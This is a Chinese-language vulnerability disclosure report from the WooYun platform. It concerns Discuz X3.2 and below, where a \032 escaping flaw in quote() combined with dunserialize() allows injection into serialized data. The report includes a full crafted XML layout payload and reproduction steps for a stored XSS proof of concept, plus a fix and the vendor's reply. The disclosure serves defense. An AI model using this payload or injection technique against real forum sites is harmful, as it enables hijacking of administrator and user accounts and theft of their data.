漏洞概要 关注数(24) 关注此漏洞
>
漏洞详情
披露状态:
2014-09-13: 细节已通知厂商并且等待厂商处理中
2014-09-15: 厂商已经确认,细节仅向厂商公开
2014-09-18: 细节向第三方安全合作伙伴开放
2014-11-09: 细节向核心白帽子及相关领域专家公开
2014-11-19: 细节向普通白帽子公开
2014-11-29: 细节向实习白帽子公开
2014-12-12: 细节向公众公开
简要描述:
首先声明一点,这个漏洞2014-09-10在“腾讯安全应急响应中心”发过,账号现已放弃,对于腾讯不想多说什么
问题描述:
Discuz_X3.2及以下
可盗取管理员、用户信息,蠕虫攻击等
详细说明:
source\class\discuz\discuz_database.php
public static function quote($str, $noarray = false) {
if (is_string($str))
return '\'' . addcslashes($str, "\n\r\\'\"\032") . '\'';
.....
source\function\function_core.php
function dunserialize($data) {
if(($ret = unserialize($data)) === false) {
$ret = unserialize(stripslashes($data));
}
return $ret;
}
“return '\'' . addcslashes($str, "\n\r\\'\"\032") . '\'';”这句会把ascii的1A转换成3个字符,分别是ascii的0H,33H,32H。
通过提交1A可以让dunserialize()函数if返回false调用“$ret = unserialize(stripslashes($data));”,
这句会将数据再次addcslashes一次,如果提交的数据中有\就会产生数据的覆盖,
比如'a:2{s:4:"key1";s:4:"\\\\";s:4:"key2";s:4:"data";}'会变成'a:2{s:4:"key1";s:4:"\\";s:4:"key2";s:4:"data";}'。
如果这两个数据都是可提交的,就可以通过提交适当的\造成注入而改写数组的值、增加数组、实例化对象等。
漏洞证明:
下面个人空间的XSS
通过布局数组改写$blockdata['parameters'][$blockname]['title']参数的值绕过过滤
<?xml version="1.0" encoding="ISO-8859-1"?><root>
<item id="diypage">
<item id="frame`frame1">
<item id="attr">
<item id="name"><![CDATA[frame1]]></item>
<item id="moveable"><![CDATA[false]]></item>
<item id="className"><![CDATA[frame cl]]></item>
<item id="titles"></item></item>
<item id="column`frame1_left">
<item id="attr">
<item id="name"><![CDATA[frame1_left]]></item>
<item id="className"><![CDATA[z column]]></item></item>
<item id="block`profile">
<item id="attr">
<item id="name"><![CDATA[profile]]></item>
<item id="className"><![CDATA[block move-span]]></item>
<item id="titles">
<item id="0">
<item id="text"><![CDATA[\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\]]></item>
<item id="href"><![CDATA[";s:4:"href";s:0:"";s:5:"color";s:11:" !
important";s:5:"float";s:0:"";s:6:"margin";s:0:"";s:9:"font-
size";s:0:"";s:9:"className";s:0:"";s:3:"src";s:0:"";}s:9:"className";a:1:{i:0;s:16:"blocktitle title";}
s:5:"style";s:0:"";}}}s:11:"block`album";a:1:{s:4:"attr";a:3:{s:4:"name";s:5:"album";s:9:"className";s:15:"block
move-span";s:6:"titles";a:3:{i:0;a:8:{s:4:"text";s:4:"相册";s:4:"href";s:0:"";s:5:"color";s:11:" !
important";s:5:"float";s:0:"";s:6:"margin";s:0:"";s:9:"font-
size";s:0:"";s:9:"className";s:0:"";s:3:"src";s:0:"";}s:9:"className";a:1:{i:0;s:16:"blocktitle title";}
s:5:"style";s:0:"";}}}}s:20:"column`frame1_center";a:1:{s:4:"attr";a:2:
{s:4:"name";s:13:"frame1_center";s:9:"className";s:8:"z column";}}s:19:"column`frame1_right";a:1:{s:4:"attr";a:2:
{s:4:"name";s:12:"frame1_right";s:9:"className";s:8:"z column";}}}}
s:13:"currentlayout";s:5:"1:2:1";s:10:"parameters";a:2:{s:7:"profile";a:2:{s:5:"title";s:30:"<script>alert
("xss");</script>";s:9:"banavatar";s:6:"middle";}s:5:"album";a:2:{s:5:"title";s:4:"相册";s:7:"shownum";i:8;}}}]]
></item>
<item id="color"><![CDATA[ !important]]></item>
<item id="float"><![CDATA[]]></item>
<item id="margin"><![CDATA[]]></item>
<item id="font-size"><![CDATA[]]></item>
<item id="className"><![CDATA[]]></item>
<item id="src"><![CDATA[]]></item></item>
<item id="className">
<item id="0"><![CDATA[blocktitle title]]></item></item>
<item id="style"></item></item></item></item>
<item id="block`album">
<item id="attr">
<item id="name"><![CDATA[album]]></item>
<item id="className"><![CDATA[block move-span]]></item>
<item id="titles">
<item id="0">
<item id="text"><![CDATA[相册]]></item>
<item id="href"><![CDATA[http://]]></item>
<item id="color"><![CDATA[ !important]]></item>
<item id="float"><![CDATA[]]></item>
<item id="margin"><![CDATA[]]></item>
<item id="font-size"><![CDATA[]]></item>
<item id="className"><![CDATA[]]></item>
<item id="src"><![CDATA[]]></item></item>
<item id="className">
<item id="0"><![CDATA[blocktitle title]]></item></item>
<item id="style"></item></item></item></item></item>
<item id="column`frame1_center">
<item id="attr">
<item id="name"><![CDATA[frame1_center]]></item>
<item id="className"><![CDATA[z column]]></item></item></item>
<item id="column`frame1_right">
<item id="attr">
<item id="name"><![CDATA[frame1_right]]></item>
<item id="className"><![CDATA[z column]]></item></item></item></item></item></root>
home.php?mod=spacecp&ac=index
1. urlencode编码xml布局修改layoutdata,post提交
2. 空间首页,装扮空间,编辑相册,模块名称,ascii“1A5c5c5c”(引号中的)确定
3. 再次编辑,确定(不用修改)
最后保存空间
修复方案:
处理return '\'' . addcslashes($str, "\n\r\\'\"\032") . '\'';语句的\032
版权声明:转载请注明来源 刀尖上起舞@乌云
>
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:20
确认时间:2014-09-15 10:37
厂商回复:
路人甲是老朋友了,曾提出很多产品问题,这里再次感谢,我们会尽快处理。
最新状态:
暂无